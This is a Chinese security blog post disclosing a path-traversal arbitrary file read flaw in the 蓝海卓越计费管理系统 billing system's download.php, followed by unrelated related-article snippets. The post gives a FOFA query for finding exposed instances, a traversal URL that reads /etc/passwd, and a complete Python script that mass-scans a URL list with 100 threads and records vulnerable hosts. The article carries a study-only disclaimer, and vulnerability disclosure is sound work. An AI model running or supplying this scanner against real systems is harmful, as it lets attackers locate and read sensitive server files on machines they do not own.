蓝海卓越计费管理系统任意文件读取漏洞

本文涉及的产品
性能测试 PTS,5000VUM额度
服务治理 MSE Sentinel/OpenSergo,Agent数量 不受限
应用实时监控服务-用户体验监控,每月100OCU免费额度
简介: 蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通过 …/遍历目录可以读取到服务器上的敏感文件。

声明


请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、漏洞描述


  蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通过 …/遍历目录可以读取到服务器上的敏感文件。


二、漏洞复现


漏洞关键字搜索

FOFA:title =="蓝海卓越计费管理系统"image.png

漏洞位置:download.php?file=../../../../../etc/passwd

image.png

脚本检测

# -*- coding: utf-8 -*-

import argparse

import sys

import requests

from multiprocessing.dummy import Pool  # 表示的是多线程

requests.packages.urllib3.disable_warnings()

def banner():

   test = """

 

█████╗ ███╗   ██╗██╗   ██╗    ███████╗██╗██╗     ███████╗    ██████╗ ███████╗ █████╗ ██████╗  

██╔══██╗████╗  ██║╚██╗ ██╔╝    ██╔════╝██║██║     ██╔════╝    ██╔══██╗██╔════╝██╔══██╗██╔══██╗

███████║██╔██╗ ██║ ╚████╔╝     █████╗  ██║██║     █████╗      ██████╔╝█████╗  ███████║██║  ██║

██╔══██║██║╚██╗██║  ╚██╔╝      ██╔══╝  ██║██║     ██╔══╝      ██╔══██╗██╔══╝  ██╔══██║██║  ██║

██║  ██║██║ ╚████║   ██║       ██║     ██║███████╗███████╗    ██║  ██║███████╗██║  ██║██████╔╝

╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝       ╚═╝     ╚═╝╚══════╝╚══════╝    ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═════╝  

                                                                                           

                                                       tag:  An any file read poc

                                                       @version: 1.0.0

                                                       @author:  Nian-stars

   """

   print(test)

headers = {

   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "

                 "Safari/537.36",

}

def poc(target):

   url = target + "/download.php?file=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # 利用%2e来代替"."完成目录穿越

   try:

       res = requests.get(url, headers=headers, verify=False, timeout=5).text

       if "root" in res:

           print(f"[+] {target} is vulnerable!")

           with open("result.txt", "a+", encoding="utf-8") as f:

               f.write(target + "\n")

       else:

           print(f"[+] {target} is not vulnerable!")

   except:

       pass

def main():

   banner()

   parser = argparse.ArgumentParser(description='An any file read poc')

   parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.example.com")

   parser.add_argument("-f", "--file", dest="file", type=str, help=" urls.txt")

   args = parser.parse_args()

   if args.url and not args.file:

       poc(args.url)

   elif not args.url and args.file:

       url_list = []

       with open(args.file, "r", encoding="utf-8") as f:

           for url in f.readlines():

               url_list.append(url.strip().replace("\n", ""))

       mp = Pool(100)  # 表示的是线程数为100

       mp.map(poc, url_list)

       mp.close()

       mp.join()

   else:

       print(f"Usage:\n\t python3 {sys.argv[0]} -h")

if __name__ == '__main__':

   main()

image.png

目录
相关文章
|
7月前
|
移动开发 前端开发
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的收回功能
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的收回功能
70 1
|
安全 数据安全/隐私保护
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
方法:如何一次性把大量号码一键导入手机通讯录?
第一步:一堆大量号码一键导入手机通讯录,需要借助软件,金芝号码提取导入助手。第二步:在电脑上打开你的表格,里面的大量号码你先复制好,如果有对应的铭字你也复制好,然后分别粘贴进前面说的软件,接着你点软件上的“通讯录转换”,就可以得到一个通讯录文件。第三步:你从电脑上把这个文件发给你的手机,在手机上打开,就可以一键批量把大量号码导入通讯录。电脑文件怎么发送给手机,这个很容易呀,你的电脑上不是有电脑Q或者电脑微吗?发给你的手机微或者手机q就ok了,多方便!
方法:如何一次性把大量号码一键导入手机通讯录?
|
2月前
|
自然语言处理 算法 Unix
【数据安全】敏感字过滤方案总结
【数据安全】敏感字过滤方案总结
46 1
|
6月前
|
存储 安全 PHP
安全开发-PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制&文件管理模块&包含&上传&遍历&写入&删除&下载&安全
安全开发-PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制&文件管理模块&包含&上传&遍历&写入&删除&下载&安全
|
7月前
|
安全 网络安全
明御安全网关任意文件上传漏洞
安恒信息明御安全网关(以下简称“NGFW”)秉持安全可视、简单有效的理念,以资产为视角,构建“事前+事中+事后”全流程防御的下一代安全防护体系,并融合传统防火墙、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。
228 1
|
安全 Shell PHP
渗透攻击实例-文件上传导致任意代码执行
渗透攻击实例-文件上传导致任意代码执行
|
安全 Shell Linux
锐捷某系统前台任意文件写入分析
锐捷某系统前台任意文件写入分析
244 0
|
安全
CVE-2020-8209 XenMobile 控制台存在任意文件读取漏洞
XenMobile提供了一种可靠的移动设备管理解决方案,可以对企业设备和员工个人设备进行基于角色的管理、配置和支持并确保安全性。与只能提供基本设备管理软件的大多数厂商不同,XenMobile可提供多种高级功能和特性来确保移动应用可随时用于业务目的并确保移动内容安全性,如区域防护(geo-fencing)、自动化合规性及一键式实时聊天和支持等。
104 0
CVE-2020-8209 XenMobile 控制台存在任意文件读取漏洞
|
安全 数据可视化
Grafana 未授权任意文件读取漏洞
Grafana 未授权任意文件读取漏洞
1285 0
Grafana 未授权任意文件读取漏洞